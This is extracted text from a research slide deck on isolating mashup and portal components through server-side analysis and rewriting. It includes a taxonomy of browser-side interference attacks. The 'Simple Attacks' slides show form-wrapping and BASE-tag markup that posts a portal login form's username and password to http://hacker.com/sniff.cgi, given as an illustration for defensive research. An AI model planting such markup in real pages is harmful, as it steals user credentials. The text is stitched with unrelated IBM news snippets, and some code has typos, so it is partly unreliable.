Mashup Component Isolation via Server-Side Analysis and Instrumentation

K. Vikram / Cornell University
Michael Steiner/ IBM T.J. Watson Research Center
Patently clear

IBM’s new intellectual property policy sets code of conduct for patent community.

IBMers sound off on IT improvements

Listen in as your colleagues share their stories of IT evolution.

IBM to UU! Support open standards

To achieve its humanitarian goals, the United Nations must embrace open standards.

In the news

Helping to Be a Model: I.B.M. Will Put Its Patent Filings Online

I.B.M., the nation’s largest patent holder, will publish its patent filings on the Web for public review as part of a new policy that the company hopes will be a model for others. [The New York Times]

Media Snapshot - September 25

Hire & Higher...India, IBM Set Out To Build Brilliant Online Portal...Hackers’ Use Of Web Applications In Attacks Rises...H-P CFO...Attended Meeting Where Probe Discussed (Communications)

Venture Investing as a Strategy, Not to Make Money

IBM encourages venture investors to turn start-ups, especially those in the software area, into I.B.M. partners. [The New York Times]

Media Snapshot - September 22

Venture Investing as a Strategy, Not to Make Money...While H-P Spied, Rivals Such As EMC...Cut Costs...Brand Crowns—And SAP Rivals Back...The Smartest Machines on Earth (Communications)

Media Snapshot - September 21

IBM says it will hire 3,000 new employees in India...CA warns IBM at customer satisfaction...Def Chosen As Part Of The Army’s Latest Initiative To Standardize Technology...Japanese Pricer That Quality Is Decline (Communications)
Ways of Interference ..

- **JavaScript**
  - DOM objects & events, library and runtime objects, ...

- **HTML**
  - Split/wrap attack, `<BASE>`, ...

- **Credentials**
  - CSRF, ...

- **UI**
  - Phishing ....
Needed: Isolation

- **Isolated & authentifiable component as foundation**
  - Fine-granular
    - Same-origin does not really cut it ….
  - Isolate & hide
    - DOM sub tree
    - JS sub-namespace & browser resources (cookies)
  - Limited component-authenticated back-end communication
    - Data-services only

- **Component-to-component communication built on top**
  - Async & restricted type (JSON)
  - Information-hiding useful for aspects other than security …
Our Approach
Our Approach
Close-up on Tagger

- Checks syntactic constraints on HTML
- Checks well-formedness of Javascript
- Wraps up markup within a DIV element, call it `root(domain)`
- Marks component domain boundaries
Close-up on Analyzer

- Models the HTML as Javascript objects
- Model host objects and library code as global Javascript objects with their own domain
- Uses the IBM CAPA/DOMO framework for *static* analysis
- Produces a call graph, with SSA instructions
Close-up on Analyzer

- **Restricting Tree-Walking**
  \[ \forall I \in CG. [y = x.parentNode] \implies PS(y) \subseteq PS(root(domain(this)).parentNode) = \emptyset \]

- **Maintaining HTML consistency invariants**
  \[ \forall I \in CG. [x.insertChild(y)] \implies isValidChild(y,x) \]

- **Maintaining Integrity of Data/Code**
  \[ \forall I \in CG. [y := x] \implies domain(y) \cap domain(x) \]

**CG:** Call Graph  
**PS(x):** Points-to Set of x  
**domain(x):** domain in which x was defined  
**isValidChild(y,x):** true iff y is allowed to be a child of x by the HTML DTD
Close-up on Rewriter

- **Namespace isolation**
  - using unique prefixes and rewriting

- **Statically undecidable steps**
  - E.g. Tree-walking

- **Component credentials**
  - for back-end communication

- **Rewriting system objects to local images**
  - `document to root(context(this))`
Challenges

- **Restricted Programming Model**
  - Banned: eval & friends; modification of system objects; flash, java, …
  - No ``real” limitation in expressivity …
  - … but
    - standards go in opposite direction? against ``nature”? While mostly good convenient programming practice, sometimes very inconvenient!
  ➞ *tool/framework support needed!*

- **Tamper-resistance**
  - Browser evolution, extensions, proxy/server, …
  ➞ *Usual arms race?*

- **Performance Considerations**
  - Analysis of generating code (JSP)
  - Certification/proof-carrying code
  ➞ *Safe higher-level programming language, e.g., GWT meets SIF?*
Related Work

- **JavaScript security:**

- **Static analysis/rewriting**
  - JavaScript: Reis et al, OSDI’06; Yu et al, POPL’07.
  - Lots of work for other language & environment (e.g., IRM for Java, Singularity on OS level, …)

- **Browser modifications**
  - Jim et al, WWW’07; Erlingsson et al, HotOS’07.
  - Vogt et al, NDSS’07.
Outline

- Abstract Model
- The Browser
  - DOM + JavaScript
- Classes of Attacks
- Solution Scheme
  - The Tagger/Analyzer/Rewriter
- Conclusions
More about Portals

- Users: U₁, U₂
- Portal Server
- Browser
- Other Server
- Other page
- Protocols: HTTP, JSR/WSRP
Current State of Security
Current State of Security

Portal Server

SSL Authentication and Roles

Same Origin

Other Server
Current State of Security
Simple Attacks

```html
<form method="post" action="http://hacker.com/sniff.cgi">
  <base href="http://hacker.com">
  <script>
    function check() { ... }
  </script>
</form>

<form method="post" action="login-submit.cgi">
  <p>Username: <input type="text" name="username" size="20"></p>
  <p>Password: <input type="text" name="password" size="20"></p>
  <p><input type="submit" onclick="check();" value="Submit"><input type="reset"></p>
  <script>
    function check() { ... }
  </script>
</form>
```

Portal Markup
Simple Attacks

```
<P>Username: <INPUT type="text" name="username" size="20">
<P>Password: <INPUT type="text" name="password" size="20">
<P><INPUT type="submit" onclick="check();"/>
<INPUT type="reset">
<SCRIPT>function check() { ... } </SCRIPT>
</FORM>
```
Simple Attacks

<form method="post" action="http://hacker.com/sniff.cgi">
  <base href="http://hacker.com">
  
  <form method="post" action="login-submit.cgi">
    <p>Username: <input type="text" name="username" size="20"></p>
    <p>Password: <input type="text" name="password" size="20"></p>
    <p><input type="submit" onclick="check();" value=""></input>
    <input type="reset"></input>
    </form>
  </form>
  
  <script>function check() { ... } </script>
</form>

Portal Markup
Simple Attacks

```html
<FORM method="post" action="http://hacker.com/sniff.cgi">
<BASE href="http://hacker.com">

<FORM method="post" action="login-submit.cgi">
<P>Username: <INPUT type="text" name="username" size="20">
<P>Password: <INPUT type="text" name="password" size="20">
<P><INPUT type="submit" onclick="check();" type="reset">
<SCRIPT>function check() { ... } </SCRIPT>
</FORM>

<SCRIPT>function check() { ... } </SCRIPT>
</FORM>
```
Our Model
Portlet Isolation
The Ubiquitous Browser

JavaScript
- Weakly typed
- Prototype based
- Dynamically modifiable
The Ubiquitous Browser

Isolation

*Domain*

Browser

```
var now = new Date, t1 = 0;
t1 = now.getTime();
this.sq = navigator.userAgent.toLowerCase();
this.sr = (this.sq.indexOf('msie') != -1);
if(this.sr) {
    document.write("<p>Sorry, we do not support Internet Explorer</p>");
document.close();
} else {
    document.write("<p>We applaud your taste in browsers!</p>");
}
```

```
var counter = 2;
function sub() {
    var qstring = document.f.name1.value + " & " + document.f.conf.value + " restaurant ";
document.f.q.value = qstring;
var then = new Date;
alert(You took + (then.getTime() - t1) / 1000 + " seconds to submit your preferences.");
return 1;
}
```

```
function createElementElm(tag, str) {
    var newElm = document.createElement("TD");
    newElm.appendChildChild(createLinkElm(tag, str));
    return newElm;
}
```

```
function createLinkElm(tag, str) {
    var link = document.createElement("A");
    link.setAttribute("href", ";");
    link.setAttribute("onclick", ";");
    link.appendChildChild(document.createTextNode(str));
    return link;
}
```

DOM (Document Object Model)

© 2006 IBM Corporation

Lookup node/
Read information

Restructure
document

Modify
node/
attributes

Create
and add
nodes

© 2006 IBM Corporation
The Ubiquitous Browser
The Ubiquitous Browser

Isolation

Domain

Browser

Lookup node/
Read information

Restructure
document

Modify
node/
attributes

Create
and add
nodes

DOM Interface

© 2006 IBM Corporation
Taxonomy of Attacks

- **Underspecified Semantics**
  - FORM Wrapping, BASE, …

- **Shared Runtime**
  - Language: Prototypes, namespace
  - Libraries: Math, String, …

- **Shared DOM Tree**
  - Walk the tree, names, …
  - Event Space
  - Access keys, Tab Index

- **Shared Host**
  - Environment Objects: Navigator, location, window, top, history
  - Layout Engine: STYLE, Absolute lengths, …
  - Cookies

- **Shared Portal Markup Code (HTML + JS)**
  - Utility functions
Taxonomy of Attacks

- **Underspecified Semantics**
  - FORM Wrapping, BASE, …

- **Shared Layout Engine**
  - STYLE, Absolute lengths, …

- **Shared DOM Tree**
  - Walk the tree, names, …

- **Shared Portal Markup Code (HTML + JS)**
  - Utility functions

- **Shared Cookie Object**
Taxonomy of Attacks

- **Shared Namespace**
  - Functions, Global Variables, DOM Tree Nodes

- **Shared Host Environment Objects**
  - navigator, location, window, top, history

- **Shared Library Code**
  - Math, String

- **Shared Language Runtime**
  - Prototypes

- **Shared Event Space**
  - Access keys, Tab Index